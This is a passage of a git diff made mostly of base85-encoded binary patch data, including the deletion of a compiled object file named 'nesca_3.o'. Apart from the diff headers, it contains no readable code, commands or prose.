zEby-Yely8`vERREL4O^D6788pC!yi{61Ek9*Rm&Ifj3*=_gUa07I?-2KVX6Xg9ZMU z1%BQF|Ih-zY=M_8@cEE}wc@tY0+%iD0SkQG0)NZ`e;RO{-!8sX;`tog-&@eXX@Q@& zz%L^Xu`o9WYzejEumo_gnHc*cnSuDA8h=PlYlCSu*5{9>Qj*dcy|*nCRg_G2uM$z< z#W=WOdv|BMLD<6xgDri@@W_xhluUFFCP#OuquVnBVetYjDfe}2(Pl*%O5)3><d3$) zOJ%ejUQ(m&Yw%|+{;b2F_4u;^IA&kJ*Td^K?c?kCuX|k;2H(47OE<hW_k`M_VFe`w z13N?b-rE6h&A~vQ8XF!?#^Iw<xT{+k8Ifwf`%=Y0!;s(E{gJrF)XxoDAX6(^yAz{B zi9ThQn#sajH3skh`_lo+Y{_O+r9T!|wMe(NKCX?YRQ%4cYg>=9Ya6J<*bJlkU_cpA zHDgZqNm@GI1)m4DspC>61)oQ>e)O$7vkvS{t$~jdii+Rjl(d>sGVnbkHlT(LiuPa_ zzHNZ)80Y~gF$yt9Ru}*@gPoT4WFn!)fv-8iACYOOt2@&jRJzcveQY=aKn#AuFl?|^ zOa^f*VJHCdSqfCJ4kUsvC-4V)`-Zz%Z&*#B6(Vti8~W49kx(W+G^7lw!|+*z8Dm(@ z9ER9zSNh;9WI8#HPH@*mJdEL?Oe&dCXNTd-PfXdX4h$s}NWb_XWF8`E6{;>d%6lqg z03WSYack4rgyH7Kokk6A$YzFBH5E33sx=QKGs@mrMqL+ynwyPDHO|7ID1DivG8jwr z;e0b&pen|oQWYg-tON>tu2tf&CTJ?`*?jH5bM6Yb;D0u(@#8t$S#gaMxXkJCgo?ZZ z&l3C=f`5VFw-Nklj^k2??_EO9w>ggX+(B?WFJMExcfuv;-$f7_(&M|3z^4&}hVrk4 zOW@+bjdJj;DezUWpJPKDeHS>sKVd^W0GGhOL~#7ZA@FY!d=0^;IF9z<DM`?uAoSFp zGX%#op`f23coV^YMeub5zn$+TXg{@QGsp3UXH+4-mC#drwh^4#^AN$QJ^Khw?fI?+ z{ymQ4jmGDPgdV^33p<-&pTvfK;WsLQX9-UAP7)l?tb+b)1aBtz-*6n&`v`uD(BDMx z#b^jLbDURj9OdAtT<E=>(9<|?Bsh)peFUd*RtZl1ebEA+A~?;5f8#jXc>}TY-w8dn z^Id{dJL}=!f!J`E+PQ?_)Xp9YyqDux*Bx-dKcZPXK<HZl7x8@Dg8n57`gaIU?ODRV z2cZ2F{|v!55xw^loYHFqr}R03Q~GBJPU)W~IHmtjg46u}Il-x%D+H(Ou#bN_Fvq!- z;}{1T=e-1{_B?MP=M6$n<$T|Q{)z>?*9nF|n`0-(&31MX{1)I7c`{@nr%33jonIsP zW+LZ#g5&@Fg#5p@kpC8;r}E1Lr}4Z89fgK|(Rs`eoYwE79LM^_uNuOh#|S;G-!BoI z*6()+-bCa~5uDojOACBHfA2;6?<R5@2~P8N1Hq}kZ5&569dL<t;6Xx9<C!Bkwex9$ zQ~B=@oYLRO-|x_ViuZ6F?V;zBenNi_jEVTCIF9pjJHc^{#fI|fJ~GZw178WxLe3Kw z_>V2{k1cTg{(%kkQu%2MoNssR9ECi>9{%qSCa0C)*TOS4j86zIL4PBH&@c{da0wiJ z$A&nSkFmmrSUX&T9x-faE)Om1iyy>q79F??dr<yzf@5xDL!55~tdD0oY>4wEll5EK zuYu#3Xc7K^7+<;=a+u(}#2F&~w~h38O>(*wXgD+>N5mKZe<^Sr6W<*U6P(83e*q3^ Bvoiny diff --git a/nesca_3.o b/nesca_3.o deleted file mode 100644 index 6d6a866ff048adf3d53a662823a1155caef71d28..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 755832 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 